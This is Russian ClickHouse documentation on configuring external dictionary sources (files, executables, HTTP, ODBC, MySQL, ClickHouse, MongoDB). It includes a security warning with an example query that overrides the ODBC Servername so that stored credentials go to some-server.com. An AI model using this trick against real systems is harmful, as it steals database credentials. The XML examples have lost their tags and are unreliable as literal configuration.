# Источники внешних словарей Внешний словарь можно подключить из множества источников. Общий вид конфигурации: ```xml ... ... ... ``` Источник настраивается в разделе `source`. Типы источников (`source_type`): - [Локальный файл](#dicts-external_dicts_dict_sources-local_file) - [Исполняемый файл](#dicts-external_dicts_dict_sources-executable) - [HTTP(s)](#dicts-external_dicts_dict_sources-http) - [ODBC](#dicts-external_dicts_dict_sources-odbc) - СУБД: - [MySQL](#dicts-external_dicts_dict_sources-mysql) - [ClickHouse](#dicts-external_dicts_dict_sources-clickhouse) - [MongoDB](#dicts-external_dicts_dict_sources-mongodb) ## Локальный файл Пример настройки: ```xml /opt/dictionaries/os.tsv TabSeparated ``` Поля настройки: - `path` - Абсолютный путь к файлу. - `format` - Формат файла. Поддерживаются все форматы, описанные в разделе "[Форматы](../../interfaces/formats.md#formats)". ## Исполняемый файл Работа с исполняемым файлом зависит от [размещения словаря в памяти](external_dicts_dict_layout.md#dicts-external_dicts_dict_layout). Если тип размещения словаря `cache` и `complex_key_cache`, то ClickHouse запрашивает необходимые ключи, отправляя запрос в `STDIN` исполняемого файла. Пример настройки: ```xml cat /opt/dictionaries/os.tsv TabSeparated ``` Поля настройки: - `command` - Абсолютный путь к исполняемому файлу или имя файла (если каталог программы прописан в `PATH`). - `format` - Формат файла. Поддерживаются все форматы, описанные в разделе "[Форматы](../../interfaces/formats.md#formats)". ## HTTP(s) Работа с HTTP(s) сервером зависит от [размещения словаря в памяти](external_dicts_dict_layout.md#dicts-external_dicts_dict_layout). Если тип размещения словаря `cache` и `complex_key_cache`, то ClickHouse запрашивает необходимые ключи, отправляя запрос методом `POST`. Пример настройки: ```xml http://[::1]/os.tsv TabSeparated ``` Чтобы ClickHouse смог обратиться к HTTPS-ресурсу, необходимо [настроить openSSL](../../operations/server_settings/settings.md#server_settings-openSSL) в конфигурации сервера. Поля настройки: - `url` - URL источника. - `format` - Формат файла. Поддерживаются все форматы, описанные в разделе "[Форматы](../../interfaces/formats.md#formats)". ## ODBC Этим способом можно подключить любую базу данных, имеющую ODBC драйвер. Пример настройки: ```xml DatabaseName ShemaName.TableName
DSN=some_parameters SQL_QUERY
``` Поля настройки: - `db` - имя базы данных. Не указывать, если имя базы задано в параметрах. ``. - `table` - имя таблицы и схемы, если она есть. - `connection_string` - строка соединения. - `invalidate_query` - запрос для проверки статуса словаря. Необязательный параметр. Читайте подробнее в разделе [Обновление словарей](external_dicts_dict_lifetime.md#dicts-external_dicts_dict_lifetime). ClickHouse получает от ODBC-драйвера информацию о квотировании и квотирует настройки в запросах к драйверу, поэтому имя таблицы нужно указывать в соответствии с регистром имени таблицы в базе данных. ### Выявленная уязвимость в функционировании ODBC словарей !!! attention При соединении с базой данных через ODBC можно заменить параметр соединения `Servername`. В этом случае, значения `USERNAME` и `PASSWORD` из `odbc.ini` отправляются на удаленный сервер и могут быть скомпроментированы. **Пример небезопасного использования** Сконфигурируем unixODBC для работы с PostgreSQL. Содержимое `/etc/odbc.ini`: ``` [gregtest] Driver = /usr/lib/psqlodbca.so Servername = localhost PORT = 5432 DATABASE = test_db #OPTION = 3 USERNAME = test PASSWORD = test ``` Если выполнить запрос вида: ``` SELECT * FROM odbc('DSN=gregtest;Servername=some-server.com', 'test_db'); ``` то ODBC драйвер отправит значения `USERNAME` и `PASSWORD` из `odbc.ini` на `some-server.com`. ### Пример подключения PostgreSQL ОС Ubuntu. Установка unixODBC и ODBC-драйвера для PostgreSQL: : sudo apt-get install -y unixodbc odbcinst odbc-postgresql Настройка `/etc/odbc.ini` (или `~/.odbc.ini`): ``` [DEFAULT] Driver = myconnection [myconnection] Description = PostgreSQL connection to my_db Driver = PostgreSQL Unicode Database = my_db Servername = 127.0.0.1 UserName = username Password = password Port = 5432 Protocol = 9.3 ReadOnly = No RowVersioning = No ShowSystemTables = No ConnSettings = ``` Конфигурация словаря в ClickHouse: ```xml table_name DSN=myconnection postgresql_table
300 360 id some_column UInt64 0
``` Может понадобиться в `odbc.ini` указать полный путь до библиотеки с драйвером `DRIVER=/usr/local/lib/psqlodbcw.so`. ### Пример подключения MS SQL Server ОС Ubuntu. Установка драйвера: : ``` sudo apt-get install tdsodbc freetds-bin sqsh ``` Настройка драйвера: : ``` $ cat /etc/freetds/freetds.conf ... [MSSQL] host = 192.168.56.101 port = 1433 tds version = 7.0 client charset = UTF-8 $ cat /etc/odbcinst.ini ... [FreeTDS] Description = FreeTDS Driver = /usr/lib/x86_64-linux-gnu/odbc/libtdsodbc.so Setup = /usr/lib/x86_64-linux-gnu/odbc/libtdsS.so FileUsage = 1 UsageCount = 5 $ cat ~/.odbc.ini ... [MSSQL] Description = FreeTDS Driver = FreeTDS Servername = MSSQL Database = test UID = test PWD = test Port = 1433 ``` Настройка словаря в ClickHouse: ```xml test dict
DSN=MSSQL;UID=test;PWD=test
300 360 k s String
``` ## СУБД ### MySQL Пример настройки: ```xml 3306 clickhouse qwerty example01-1 1 example01-2 1 db_name table_name
id=10 SQL_QUERY
``` Поля настройки: - `port` - порт сервера MySQL. Можно указать для всех реплик или для каждой в отдельности (внутри ``). - `user` - имя пользователя MySQL. Можно указать для всех реплик или для каждой в отдельности (внутри ``). - `password` - пароль пользователя MySQL. Можно указать для всех реплик или для каждой в отдельности (внутри ``). - `replica` - блок конфигурации реплики. Блоков может быть несколько. - `replica/host` - хост MySQL. \* `replica/priority` - приоритет реплики. При попытке соединения ClickHouse обходит реплики в соответствии с приоритетом. Чем меньше цифра, тем выше приоритет. - `db` - имя базы данных. - `table` - имя таблицы. - `where` - условие выбора. Необязательный параметр. - `invalidate_query` - запрос для проверки статуса словаря. Необязательный параметр. Читайте подробнее в разделе [Обновление словарей](external_dicts_dict_lifetime.md#dicts-external_dicts_dict_lifetime). MySQL можно подключить на локальном хосте через сокеты, для этого необходимо задать `host` и `socket`. Пример настройки: ```xml localhost /path/to/socket/file.sock clickhouse qwerty db_name table_name
id=10 SQL_QUERY
``` ### ClickHouse Пример настройки: ```xml example01-01-1 9000 default default ids
id=10
``` Поля настройки: - `host` - хост ClickHouse. Если host локальный, то запрос выполняется без сетевого взаимодействия. Чтобы повысить отказоустойчивость решения, можно создать таблицу типа [Distributed](../../operations/table_engines/distributed.md#table_engines-distributed) и прописать её в дальнейших настройках. - `port` - порт сервера ClickHouse. - `user` - имя пользователя ClickHouse. - `password` - пароль пользователя ClickHouse. - `db` - имя базы данных. - `table` - имя таблицы. - `where` - условие выбора. Может отсутствовать. - `invalidate_query` - запрос для проверки статуса словаря. Необязательный параметр. Читайте подробнее в разделе [Обновление словарей](external_dicts_dict_lifetime.md#dicts-external_dicts_dict_lifetime). ### MongoDB Пример настройки: ```xml localhost 27017 test dictionary_source ``` Поля настройки: - `host` - хост MongoDB. - `port` - порт сервера MongoDB. - `user` - имя пользователя MongoDB. - `password` - пароль пользователя MongoDB. - `db` - имя базы данных. - `collection` - имя коллекции. [Оригинальная статья](https://clickhouse.yandex/docs/ru/query_language/dicts/external_dicts_dict_sources/)